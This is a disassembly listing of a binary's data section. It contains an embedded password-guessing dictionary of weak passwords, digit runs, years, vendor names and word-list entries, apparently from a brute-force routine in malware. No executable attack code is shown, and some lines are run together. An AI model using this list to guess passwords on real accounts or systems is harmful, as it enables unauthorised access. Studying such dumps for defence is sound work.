aQwertyu	db 'qwertyu',0          ; DATA XREF: seg001:0042C564o
off_42CE64	dd offset byte_657771	; DATA XREF: seg001:0042C554o
dword_42CE68	dd 7771h	aPassword1	db 'password1',0        ; DATA XREF: seg001:0042C54Co
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: seg001:0042C548o
		align 4
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: seg001:0042C544o
		align 10h
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: seg001:0042C540o
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: seg001:0042C53Co
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: seg001:0042C538o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: seg001:0042C534o
		align 4
aAaaa		db 'aaaa',0             ; DATA XREF: seg001:0042C530o
		align 4
aAa		db 'aa',0               ; DATA XREF: seg001:0042C528o
		align 10h
aNokia		db 'NOKIA',0            ; DATA XREF: seg001:0042C51Co
		align 4
off_42CEC8	dd offset byte_584553	; DATA XREF: seg001:0042C518o
aCreative	db 'CREATIVE',0         ; DATA XREF: seg001:0042C514o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: seg001:0042C510o
		align 10h
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: seg001:0042C50Co
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: seg001:0042C508o
		align 4
aSony_0		db 'SONY',0             ; DATA XREF: seg001:0042C504o
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: seg001:0042C500o
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: seg001:0042C4FCo
aSony		db 'sony',0             ; DATA XREF: seg001:0042C4F8o
		align 4
a7654321	db '7654321',0          ; DATA XREF: seg001:0042C4F4o
a4321		db '4321',0             ; DATA XREF: seg001:0042C4E8o
		align 4
a321		db '321',0              ; DATA XREF: seg001:0042C4E4o
a2006		db '2006',0             ; DATA XREF: seg001:0042C4DCo
		align 10h
a2005		db '2005',0             ; DATA XREF: seg001:0042C4D8o
		align 4
a2004		db '2004',0             ; DATA XREF: seg001:0042C4D4o
		align 10h
a2001		db '2001',0             ; DATA XREF: seg001:0042C4C8o
		align 4
a2000		db '2000',0             ; DATA XREF: seg001:0042C4C4o
		align 10h
a1999		db '1999',0             ; DATA XREF: seg001:0042C4C0o
		align 4
a1998		db '1998',0             ; DATA XREF: seg001:0042C4BCo
		align 10h
a1997		db '1997',0             ; DATA XREF: seg001:0042C4B8o
		align 4
a1996		db '1996',0             ; DATA XREF: seg001:0042C4B4o
		align 10h
a1995		db '1995',0             ; DATA XREF: seg001:0042C4B0o
		align 4
a1994		db '1994',0             ; DATA XREF: seg001:0042C4ACo
		align 10h
a1993		db '1993',0             ; DATA XREF: seg001:0042C4A8o
		align 4
a1992		db '1992',0             ; DATA XREF: seg001:0042C4A4o
		align 10h
a1991		db '1991',0             ; DATA XREF: seg001:0042C4A0o
		align 4
a1990		db '1990',0             ; DATA XREF: seg001:0042C49Co
		align 10h
a1989		db '1989',0             ; DATA XREF: seg001:0042C498o
		align 4
a1988		db '1988',0             ; DATA XREF: seg001:0042C494o
		align 10h
a1987		db '1987',0             ; DATA XREF: seg001:0042C490o
		align 4
a1986		db '1986',0             ; DATA XREF: seg001:0042C48Co
		align 10h
a1985		db '1985',0             ; DATA XREF: seg001:0042C488o
		align 4
a1984		db '1984',0             ; DATA XREF: seg001:0042C484o
		align 10h
a1983		db '1983',0             ; DATA XREF: seg001:0042C480o
		align 4
a1982		db '1982',0             ; DATA XREF: seg001:0042C47Co
		align 10h
a1981		db '1981',0             ; DATA XREF: seg001:0042C478o
		align 4
a1980		db '1980',0             ; DATA XREF: seg001:0042C474o
		align 10h
a1979		db '1979',0             ; DATA XREF: seg001:0042C470o
		align 4
a1978		db '1978',0
		align 10h
a1977		db '1977',0
		align 4
a1976		db '1976',0
		align 10h
a1975		db '1975',0
		align 4
a1974		db '1974',0
		align 10h
a1973		db '1973',0
		align 4
a1972		db '1972',0
		align 10h
a1971		db '1971',0
		align 4
a1970		db '1970',0
		align 10h
a1969		db '1969',0
		align 4
a1968		db '1968',0
		align 10h
a1967		db '1967',0
		align 4
a1966		db '1966',0
		align 10h
a1965		db '1965',0
		align 4
a1964		db '1964',0
		align 10h
a1963		db '1963',0
		align 4
a1962		db '1962',0
		align 10h
a1961		db '1961',0
		align 4
a1960		db '1960',0
		align 10h
a1959		db '1959',0
		align 4
a1958		db '1958',0
		align 10h
a1957		db '1957',0
		align 4
a1956		db '1956',0
		align 10h
a1955		db '1955',0
		align 4
a1954		db '1954',0
		align 10h
a1953		db '1953',0
		align 4
a1952		db '1952',0
		align 10h
a1234qwe	db '1234qwe',0
a1234asd	db '1234asd',0          ; DATA XREF: seg001:0042C3FCo
a1234abc	db '1234abc',0          ; DATA XREF: seg001:0042C3F8o
a123qwer	db '123qwer',0          ; DATA XREF: seg001:0042C3E4o
a12qwe		db '12qwe',0            ; DATA XREF: seg001:0042C3E0o
		align 4
a12asd		db '12asd',0            ; DATA XREF: seg001:0042C3DCo
		align 10h
a12abc		db '12abc',0            ; DATA XREF: seg001:0042C3D8o
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: seg001:0042C3D4o
		align 10h
a1qwe		db '1qwe',0             ; DATA XREF: seg001:0042C3D0o
		align 4
a1asd		db '1asd',0             ; DATA XREF: seg001:0042C3CCo
		align 10h
a1abc		db '1abc',0             ; DATA XREF: seg001:0042C3C8o
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: seg001:0042C3C4o
		align 10h
a123467890	db '123467890',0        ; DATA XREF: seg001:0042C3C0o
		align 4
a12346789	db '12346789',0         ; DATA XREF: seg001:0042C3BCo
		align 4
a1234678	db '1234678',0          ; DATA XREF: seg001:0042C3B8o
a123467		db '123467',0           ; DATA XREF: seg001:0042C3B4o
		align 4
a12346		db '12346',0            ; DATA XREF: seg001:0042C3B0o
		align 10h
a121		db '121',0              ; DATA XREF: seg001:0042C388o
a1020		db '1020',0             ; DATA XREF: seg001:0042C380o
		align 4
a0258		db '0258',0             ; DATA XREF: seg001:0042C37Co
		align 4
a8520		db '8520',0             ; DATA XREF: seg001:0042C378o
		align 4
a987		db '987',0              ; DATA XREF: seg001:0042C374o
a789		db '789',0              ; DATA XREF: seg001:0042C370o
a654		db '654',0              ; DATA XREF: seg001:0042C36Co
a456		db '456',0              ; DATA XREF: seg001:0042C368o
a1122		db '1122',0             ; DATA XREF: seg001:0042C364o
		align 4
a0147		db '0147',0             ; DATA XREF: seg001:0042C360o
		align 4
a7410		db '7410',0             ; DATA XREF: seg001:0042C35Co
		align 4
a9999999999	db '9999999999',0       ; DATA XREF: seg001:0042C354o
		align 10h
a999999999	db '999999999',0        ; DATA XREF: seg001:0042C350o
		align 4
a99999999	db '99999999',0         ; DATA XREF: seg001:0042C34Co
		align 4
a9999999	db '9999999',0          ; DATA XREF: seg001:0042C348o
a999999		db '999999',0           ; DATA XREF: seg001:0042C344o
		align 4
a99999		db '99999',0            ; DATA XREF: seg001:0042C340o
		align 10h
a9999		db '9999',0             ; DATA XREF: seg001:0042C33Co
		align 4
a999		db '999',0              ; DATA XREF: seg001:0042C338o
a99		db '99',0               ; DATA XREF: seg001:0042C334o
		align 10h
a9:					; DATA XREF: seg001:0042C330o
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: seg001:0042C32Co
		align 10h
a888888888	db '888888888',0        ; DATA XREF: seg001:0042C328o
		align 4
a8888888	db '8888888',0          ; DATA XREF: seg001:0042C320o
a888888		db '888888',0           ; DATA XREF: seg001:0042C31Co
		align 4
a88888		db '88888',0            ; DATA XREF: seg001:0042C318o
		align 4
a8888		db '8888',0             ; DATA XREF: seg001:0042C314o
		align 4
a888		db '888',0              ; DATA XREF: seg001:0042C310o
a88		db '88',0               ; DATA XREF: seg001:0042C30Co
		align 4
a8:					; DATA XREF: seg001:0042C308o
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: seg001:0042C304o
		align 4
a777777777	db '777777777',0        ; DATA XREF: seg001:0042C300o
		align 10h
a77777777	db '77777777',0         ; DATA XREF: seg001:0042C2FCo
		align 4
a7777777	db '7777777',0          ; DATA XREF: seg001:0042C2F8o
a777777		db '777777',0           ; DATA XREF: seg001:0042C2F4o
		align 4
a77777		db '77777',0            ; DATA XREF: seg001:0042C2F0o
		align 4
a7777		db '7777',0             ; DATA XREF: seg001:0042C2ECo
		align 4
a777		db '777',0              ; DATA XREF: seg001:0042C2E8o
a77		db '77',0               ; DATA XREF: seg001:0042C2E4o
		align 4
a7:					; DATA XREF: seg001:0042C2E0o
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: seg001:0042C2DCo
		align 4
a666666666	db '666666666',0        ; DATA XREF: seg001:0042C2D8o
		align 10h
a66666666	db '66666666',0         ; DATA XREF: seg001:0042C2D4o
		align 4
a6666666	db '6666666',0          ; DATA XREF: seg001:0042C2D0o
a666666		db '666666',0           ; DATA XREF: seg001:0042C2CCo
		align 4
a66666		db '66666',0            ; DATA XREF: seg001:0042C2C8o
		align 4
a6666		db '6666',0             ; DATA XREF: seg001:0042C2C4o
		align 4
a666		db '666',0              ; DATA XREF: seg001:0042C2C0o
a66		db '66',0               ; DATA XREF: seg001:0042C2BCo
		align 4
a6:					; DATA XREF: seg001:0042C2B8o
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: seg001:0042C2B4o
		align 4
a555555555	db '555555555',0        ; DATA XREF: seg001:0042C2B0o
		align 10h
a55555555	db '55555555',0         ; DATA XREF: seg001:0042C2ACo
		align 4
a5555555	db '5555555',0          ; DATA XREF: seg001:0042C2A8o
a555555		db '555555',0           ; DATA XREF: seg001:0042C2A4o
		align 4
a55555		db '55555',0            ; DATA XREF: seg001:0042C2A0o
		align 4
a5555		db '5555',0             ; DATA XREF: seg001:0042C29Co
		align 4
a555		db '555',0              ; DATA XREF: seg001:0042C298o
a55		db '55',0               ; DATA XREF: seg001:0042C294o
		align 4
a5_0:					; DATA XREF: seg001:0042C290o
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: seg001:0042C28Co
		align 4
a444444444	db '444444444',0        ; DATA XREF: seg001:0042C288o
		align 10h
a44444444	db '44444444',0         ; DATA XREF: seg001:0042C284o
		align 4
a4444444	db '4444444',0          ; DATA XREF: seg001:0042C280o
a444444		db '444444',0           ; DATA XREF: seg001:0042C27Co
		align 4
a44444		db '44444',0            ; DATA XREF: seg001:0042C278o
		align 4
a4444		db '4444',0             ; DATA XREF: seg001:0042C274o
		align 4
a444		db '444',0              ; DATA XREF: seg001:0042C270o
a44		db '44',0               ; DATA XREF: seg001:0042C26Co
		align 4
a4_0:					; DATA XREF: seg001:0042C268o
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: seg001:0042C264o
		align 4
a333333333	db '333333333',0        ; DATA XREF: seg001:0042C260o
		align 10h
a33333333	db '33333333',0         ; DATA XREF: seg001:0042C25Co
		align 4
a3333333	db '3333333',0          ; DATA XREF: seg001:0042C258o
a333333		db '333333',0           ; DATA XREF: seg001:0042C254o
		align 4
a33333		db '33333',0            ; DATA XREF: seg001:0042C250o
		align 4
a3333		db '3333',0             ; DATA XREF: seg001:0042C24Co
		align 4
a333		db '333',0              ; DATA XREF: seg001:0042C248o
a33		db '33',0               ; DATA XREF: seg001:0042C244o
		align 4
a3:					; DATA XREF: seg001:0042C240o
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: seg001:0042C23Co
		align 4
a222222222	db '222222222',0        ; DATA XREF: seg001:0042C238o
		align 10h
a22222222	db '22222222',0         ; DATA XREF: seg001:0042C234o
		align 4
a2222222	db '2222222',0          ; DATA XREF: seg001:0042C230o
a222222		db '222222',0           ; DATA XREF: seg001:0042C22Co
		align 4
a22222		db '22222',0            ; DATA XREF: seg001:0042C228o
		align 4
a2222		db '2222',0             ; DATA XREF: seg001:0042C224o
		align 4
a222		db '222',0              ; DATA XREF: seg001:0042C220o
a22		db '22',0               ; DATA XREF: seg001:0042C21Co
		align 4
a2:					; DATA XREF: seg001:0042C218o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: seg001:0042C214o
		align 4
a111111111	db '111111111',0        ; DATA XREF: seg001:0042C210o
		align 10h
a1111111	db '1111111',0          ; DATA XREF: seg001:0042C208o
a11111		db '11111',0            ; DATA XREF: seg001:0042C200o
		align 10h
a1111		db '1111',0             ; DATA XREF: seg001:0042C1FCo
		align 4
a11		db '11',0               ; DATA XREF: seg001:0042C1F4o
		align 4
a010		db '010',0              ; DATA XREF: seg001:0042C1E4o
a009		db '009',0              ; DATA XREF: seg001:0042C1E0o
a008		db '008',0              ; DATA XREF: seg001:0042C1DCo
a006		db '006',0              ; DATA XREF: seg001:0042C1D4o
a005		db '005',0              ; DATA XREF: sub_40CC09+215o
					; seg001:0042C1D0o
a004		db '004',0              ; DATA XREF: seg001:0042C1CCo
a003		db '003',0              ; DATA XREF: seg001:0042C1C8o
a002		db '002',0              ; DATA XREF: seg001:0042C1C4o
a001		db '001',0              ; DATA XREF: sub_40CC09+200o
					; seg001:0042C1C0o
asc_42D470	db '*********',0        ; DATA XREF: seg001:0042C1BCo
		align 4
asc_42D47C	db '********',0         ; DATA XREF: seg001:0042C1B8o
		align 4
asc_42D488	db '*******',0          ; DATA XREF: seg001:0042C1B4o
asc_42D490	db '******',0           ; DATA XREF: seg001:0042C1B0o
		align 4
asc_42D498	db '*****',0            ; DATA XREF: seg001:0042C1ACo
		align 10h
asc_42D4A0	db '****',0             ; DATA XREF: seg001:0042C1A8o
		align 4
asc_42D4A8	db '***',0              ; DATA XREF: seg001:0042C1A4o
asc_42D4AC	db '**',0               ; DATA XREF: seg001:0042C1A0o
		align 10h
a0000000000	db '0000000000',0       ; DATA XREF: seg001:0042C198o
		align 4
a000000000	db '000000000',0        ; DATA XREF: seg001:0042C194o
		align 4
a@		db '@!',0               ; DATA XREF: seg001:0042C174o
		align 4
a@_0		db '#@!',0              ; DATA XREF: seg001:0042C170o
a@_1		db '$#@!',0             ; DATA XREF: seg001:0042C16Co
		align 4
a@_2		db '%$#@!',0            ; DATA XREF: seg001:0042C168o
		align 10h
a@_3		db '^%$#@!',0           ; DATA XREF: seg001:0042C164o
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: seg001:0042C160o
a@_5		db '*&^%$#@!',0         ; DATA XREF: seg001:0042C15Co
		align 4
asc_42D4FC	db '$$$',0              ; DATA XREF: seg001:0042C158o
asc_42D500	db '$$',0               ; DATA XREF: seg001:0042C154o
		align 4
asc_42D504:				; DATA XREF: seg001:0042C150o
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: seg001:0042C14Co
		align 10h
a789_0		db '789+',0             ; DATA XREF: seg001:0042C148o
		align 4
a0		db '=-0',0              ; DATA XREF: seg001:0042C144o
asc_42D51C	db '--++',0             ; DATA XREF: seg001:0042C140o
		align 4
asc_42D524	db '-+',0               ; DATA XREF: seg001:0042C13Co
		align 4
asc_42D528	db '----',0             ; DATA XREF: seg001:0042C138o
		align 10h
asc_42D530	db '--',0               ; DATA XREF: seg001:0042C130o
					; seg001:0042C134o
		align 4
asc_42D534:				; DATA XREF: seg001:0042C12Co
		unicode	0, <->,0
asc_42D538	db '++++',0             ; DATA XREF: seg001:0042C128o
		align 10h
asc_42D540	db '+++',0              ; DATA XREF: seg001:0042C124o
asc_42D544	db '++',0               ; DATA XREF: seg001:0042C120o
		align 4
asc_42D548:				; DATA XREF: seg001:0042C11Co
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: seg001:0042C118o
		align 10h
a@_6:					; DATA XREF: sub_40CC09+23Ao
					; seg001:0042C114o
		unicode	0, <@>,0
off_42D554	dd offset loc_40211E+3	; DATA XREF: seg001:0042C110o
dword_42D558	dd 2121h	dword_42D55C	dd 24234021h, 2A265E25h, 0dword_42D568	dd 24234021h, 265E25hdword_42D570	dd 24234021h, 5E25hdword_42D578	dd 24234021h, 25hdword_42D580	dd 234021h	dword_42D584	dd 4021h	dword_42D588	dd 21h							; sub_40CC09+5598o ...
dword_42D58C	dd 25h		aZimmerman	db 'zimmerman',0        ; DATA XREF: seg001:0042C0E4o
		align 4
off_42D59C	dd offset word_70617A	; DATA XREF: seg001:0042C0E0o
aYellowstone	db 'yellowstone',0      ; DATA XREF: seg001:0042C0DCo
aXyz		db 'xyz',0              ; DATA XREF: seg001:0042C0D8o
					; seg001:0042C5D0o
aWisconsin	db 'wisconsin',0        ; DATA XREF: seg001:0042C0D4o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: seg001:0042C0D0o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: seg001:0042C0CCo
		align 4
aTty		db 'tty',0              ; DATA XREF: seg001:0042C0C8o
aTopography	db 'topography',0       ; DATA XREF: seg001:0042C0C4o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: seg001:0042C0C0o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: seg001:0042C0BCo
		align 10h
aTangerine	db 'tangerine',0        ; DATA XREF: seg001:0042C0B8o
		align 4
off_42D60C	dd offset byte_737973	; DATA XREF: seg001:0042C0B4o
aSupported	db 'supported',0        ; DATA XREF: seg001:0042C0B0o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: seg001:0042C0ACo
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: seg001:0042C0A8o
		align 4
off_42D634	dd offset byte_6E7573	; DATA XREF: seg001:0042C0A4o
aStuttgart	db 'stuttgart',0        ; DATA XREF: seg001:0042C0A0o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: seg001:0042C09Co
		align 10h
aStephanie	db 'stephanie',0        ; DATA XREF: seg001:0042C098o
		align 4
aSignature	db 'signature',0        ; DATA XREF: seg001:0042C094o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: seg001:0042C090o
		align 4
off_42D674	dd offset byte_6C6173	; DATA XREF: seg001:0042C08Co
aRochester	db 'rochester',0        ; DATA XREF: seg001:0042C088o
		align 4
off_42D684	dd offset word_656A72	; DATA XREF: seg001:0042C084o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: seg001:0042C080o
		align 4
off_42D698	dd offset byte_627570	; DATA XREF: seg001:0042C07Co
aProfessor	db 'professor',0        ; DATA XREF: seg001:0042C078o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: seg001:0042C074o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: seg001:0042C070o
		align 10h
aPolynomial	db 'polynomial',0       ; DATA XREF: seg001:0042C06Co
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: seg001:0042C068o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: seg001:0042C064o
		align 4
off_42D6E4	dd offset dword_6D6170	; DATA XREF: seg001:0042C060o
off_42D6E8	dd offset dword_646170	; DATA XREF: seg001:0042C05Co
aOceanography	db 'oceanography',0     ; DATA XREF: seg001:0042C058o
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: seg001:0042C054o
		align 4
aNew		db 'new',0              ; DATA XREF: seg001:0042C050o
off_42D70C	dd offset word_74656E	; DATA XREF: seg001:0042C04Co
off_42D710	dd offset byte_74696D	; DATA XREF: seg001:0042C048o
off_42D714	dd offset byte_72676D	; DATA XREF: seg001:0042C044o
aMacintosh	db 'macintosh',0        ; DATA XREF: seg001:0042C040o
		align 4
aLiz		db 'liz',0              ; DATA XREF: seg001:0042C03Co
off_42D728	dd offset dword_65656C	; DATA XREF: seg001:0042C038o
aLamination	db 'lamination',0       ; DATA XREF: seg001:0042C034o
		align 4
off_42D738	dd offset byte_6D696B	; DATA XREF: seg001:0042C030o
dword_42D73C	dd 79656Bh	dword_42D740	dd 796F6Ah	off_42D744	dd offset word_6E656A	; DATA XREF: seg001:0042C024o
aInnocuous	db 'innocuous',0        ; DATA XREF: seg001:0042C020o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: seg001:0042C01Co
		align 10h
off_42D760	dd offset byte_6D6269	; DATA XREF: seg001:0042C018o
aHappening	db 'happening',0        ; DATA XREF: seg001:0042C014o
		align 10h
off_42D770	dd offset dword_6C6168	; DATA XREF: seg001:0042C010o
off_42D774	dd offset byte_756E67	; DATA XREF: seg001:0042C00Co
off_42D778	dd offset word_6E7566	; DATA XREF: seg001:0042C008o
aForesight	db 'foresight',0        ; DATA XREF: seg001:0042C004o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: seg001:0042C000o
		align 4
aExtension	db 'extension',0        ; DATA XREF: seg001:0042BFFCo
		align 10h
aEstablish	db 'establish',0        ; DATA XREF: seg001:0042BFF8o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: seg001:0042BFF4o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: seg001:0042BFF0o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: seg001:0042BFECo
		align 10h
aEdinburgh	db 'edinburgh',0        ; DATA XREF: seg001:0042BFE8o
		align 4
off_42D7DC	dd offset dword_736F64	; DATA XREF: seg001:0042BFE4o
off_42D7E0	dd offset dword_676F64	; DATA XREF: seg001:0042BFE0o
aDiscovery	db 'discovery',0        ; DATA XREF: seg001:0042BFDCo
		align 10h
aDesperate	db 'desperate',0        ; DATA XREF: seg001:0042BFD8o
		align 4
off_42D7FC	dd offset dword_626564	; DATA XREF: seg001:0042BFD4o
aCornelius	db 'cornelius',0        ; DATA XREF: seg001:0042BFD0o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: seg001:0042BFCCo
		align 4
aChristine	db 'christine',0        ; DATA XREF: seg001:0042BFC8o
		align 4
aChristina	db 'christina',0        ; DATA XREF: seg001:0042BFC4o
		align 10h
aChemistry	db 'chemistry',0        ; DATA XREF: seg001:0042BFC0o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: seg001:0042BFBCo
		align 4
off_42D848	dd offset byte_746163	; DATA XREF: seg001:0042BFB8o
aCampanile	db 'campanile',0        ; DATA XREF: seg001:0042BFB4o
		align 4
off_42D858	dd offset byte_646163	; DATA XREF: seg001:0042BFB0o
off_42D85C	dd offset word_647362	; DATA XREF: seg001:0042BFACo
off_42D860	dd offset word_626F62	; DATA XREF: seg001:0042BFA8o
aBicameral	db 'bicameral',0        ; DATA XREF: seg001:0042BFA4o
		align 10h
aBeethoven	db 'beethoven',0        ; DATA XREF: seg001:0042BFA0o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: seg001:0042BF9Co
		align 4
off_42D888	dd offset byte_6D7361	; DATA XREF: seg001:0042BF98o
off_42D88C	dd offset byte_647361	; DATA XREF: seg001:0042BF94o
					; seg001:0042C600o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: seg001:0042BF90o
		align 10h
off_42D8A0	dd offset byte_6E6E61	; DATA XREF: seg001:0042BF8Co
aAndromache	db 'andromache',0       ; DATA XREF: seg001:0042BF88o
		align 10h
aAmy		db 'amy',0              ; DATA XREF: seg001:0042BF84o
aAmorphous	db 'amorphous',0        ; DATA XREF: seg001:0042BF80o
		align 10h
off_42D8C0	dd offset byte_616D61	; DATA XREF: seg001:0042BF7Co
off_42D8C4	dd offset byte_666C61	; DATA XREF: seg001:0042BF78o
aAlbatross	db 'albatross',0        ; DATA XREF: seg001:0042BF74o
		align 4
off_42D8D4	dd offset byte_616461	; DATA XREF: seg001:0042BF70o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: seg001:0042BF6Co
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: seg001:0042BF68o
		align 10h
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: seg001:0042BF64o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: seg001:0042BF60o
		align 10h
aHax		db 'hax',0              ; DATA XREF: seg001:0042BF5Co
aWh0re		db 'wh0re',0            ; DATA XREF: seg001:0042BF58o
		align 4
aHo		db 'ho',0               ; DATA XREF: seg001:0042BF54o
		align 10h
aWh0r3		db 'wh0r3',0            ; DATA XREF: seg001:0042BF50o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: seg001:0042BF4Co
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: seg001:0042BF48o
		align 10h
aWindozeme	db 'windozeME',0        ; DATA XREF: seg001:0042BF44o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: seg001:0042BF40o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: seg001:0042BF3Co
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: seg001:0042BF38o
		align 10h
aWindows98	db 'windows98',0        ; DATA XREF: seg001:0042BF34o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: seg001:0042BF30o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: seg001:0042BF2Co
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: seg001:0042BF28o
		align 10h
aMs		db 'MS',0               ; DATA XREF: seg001:0042BF24o
		align 4
aM		db 'M$',0               ; DATA XREF: seg001:0042BF20o
		align 4
aBilly		db 'billy',0            ; DATA XREF: seg001:0042BF1Co
		align 10h
aWindose	db 'windose',0          ; DATA XREF: seg001:0042BF18o
aWindoze	db 'windoze',0          ; DATA XREF: seg001:0042BF14o
aWindowz	db 'windowz',0          ; DATA XREF: seg001:0042BF10o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: seg001:0042BF0Co
aDonaldduck	db 'donaldduck',0       ; DATA XREF: seg001:0042BF08o
		align 10h
aAlexander	db 'Alexander',0        ; DATA XREF: seg001:0042BF04o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: seg001:0042BF00o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: seg001:0042BEFCo
		align 4
aDudette	db 'dudette',0          ; DATA XREF: seg001:0042BEF8o
aD00d		db 'd00d',0             ; DATA XREF: seg001:0042BEF4o
		align 4
off_42D9FC	dd offset dword_6C6F6C	; DATA XREF: seg001:0042BEF0o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: seg001:0042BEECo
		align 10h
aRoscop		db 'RoscoP',0           ; DATA XREF: seg001:0042BEE8o
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: seg001:0042BEE4o
		align 10h
aRoss		db 'Ross',0             ; DATA XREF: seg001:0042BEE0o
		align 4
aTestin		db 'testin',0           ; DATA XREF: seg001:0042BEDCo
		align 10h
aTester		db 'tester',0           ; DATA XREF: seg001:0042BED8o
		align 4
a00000000	db '00000000',0         ; DATA XREF: seg001:0042BED4o
					; seg001:0042C190o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: seg001:0042BED0o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: seg001:0042BECCo
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: seg001:0042BEC8o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: seg001:0042BEC4o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: seg001:0042BEC0o
		align 10h
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: seg001:0042BEBCo
		align 4
aZebra		db 'zebra',0            ; DATA XREF: seg001:0042BEB8o
		align 4
aYoung		db 'young',0            ; DATA XREF: seg001:0042BEB4o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: seg001:0042BEB0o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: seg001:0042BEACo
aYellowst	db 'yellowst',0         ; DATA XREF: seg001:0042BEA8o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: seg001:0042BEA4o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: seg001:0042BEA0o
		align 4
aYang		db 'yang',0             ; DATA XREF: seg001:0042BE9Co
					; seg001:0042C5D8o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: seg001:0042BE98o
					; seg001:0042C5D4o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: seg001:0042BE94o
		align 4
aXray		db 'xray',0             ; DATA XREF: seg001:0042BE90o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: seg001:0042BE8Co
		align 4
aXmen		db 'xmen',0             ; DATA XREF: seg001:0042BE88o
		align 4
aXman		db 'xman',0             ; DATA XREF: seg001:0042BE84o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: seg001:0042BE80o
		align 4
aXena		db 'xena',0             ; DATA XREF: seg001:0042BE7Co
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: seg001:0042BE78o
aWwii		db 'wwii',0             ; DATA XREF: seg001:0042BE74o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: seg001:0042BE70o
		align 10h
aWorm		db 'worm',0             ; DATA XREF: seg001:0042BE6Co
		align 4
aWork		db 'work',0             ; DATA XREF: seg001:0042BE68o
		align 10h
aWorf		db 'worf',0             ; DATA XREF: seg001:0042BE64o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: seg001:0042BE60o
		align 4
aWord		db 'word',0             ; DATA XREF: seg001:0042BE5Co
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: seg001:0042BE58o
		align 4
aWood		db 'wood',0             ; DATA XREF: seg001:0042BE54o
		align 10h
aWomen		db 'women',0            ; DATA XREF: seg001:0042BE50o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: seg001:0042BE4Co
		align 10h
aWoman		db 'woman',0            ; DATA XREF: seg001:0042BE48o
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: seg001:0042BE44o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: seg001:0042BE40o
		align 4
